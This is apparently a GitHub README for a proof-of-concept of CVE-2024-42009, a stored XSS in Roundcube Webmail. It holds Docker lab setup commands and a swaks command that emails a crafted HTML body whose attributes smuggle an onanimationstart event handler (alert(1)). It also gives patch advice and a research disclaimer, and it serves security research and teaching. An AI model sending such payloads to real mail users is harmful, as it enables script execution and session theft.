zaidarif47/cve-2024-42009Docker-based proof-of-concept for CVE-2024-42009, a stored XSS in Roundcube Webmail. Demonstrates exploitation via crafted HTML emails and includes setup for a vulnerable lab environment.
This repository demonstrates a working Proof-of-Concept (PoC) for CVE-2024-42009, a stored Cross-Site Scripting (XSS) vulnerability in Roundcube Webmail.
The vulnerability is caused by improper HTML sanitization followed by unsafe attribute reprocessing, allowing attackers to inject malicious event handlers via crafted HTML emails.
Roundcube sanitizes incoming HTML emails but later re-processes certain attributes (e.g., bgcolor, malformed attributes), leading to:
onanimationstart)This allows execution of arbitrary JavaScript when a victim opens a malicious email.
git clone https://github.com/ZaidArif47/CVE-2024-42009-PoC.git
cd CVE-2024-42009-PoC
docker compose up -d
⏳ Wait ~10–15 seconds for the mail server to initialize.
docker exec mailserver setup email add [email protected] 'attacker123'
docker exec mailserver setup email add [email protected] 'victim123'
http://localhost:8080
Credentials:
Send the malicious email using swaks tool:
swaks --to [email protected] \
--from [email protected] \
--server localhost:2525 \
--header "Content-Type: text/html; charset=utf-8" \
--header "Subject: CVE-2024-42009 PoC" \
--body '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(1) foo=bar">Foo</body>'
Upgrade to patched versions:
This project is for educational and authorized security research purposes only. Do not use against systems without proper permission.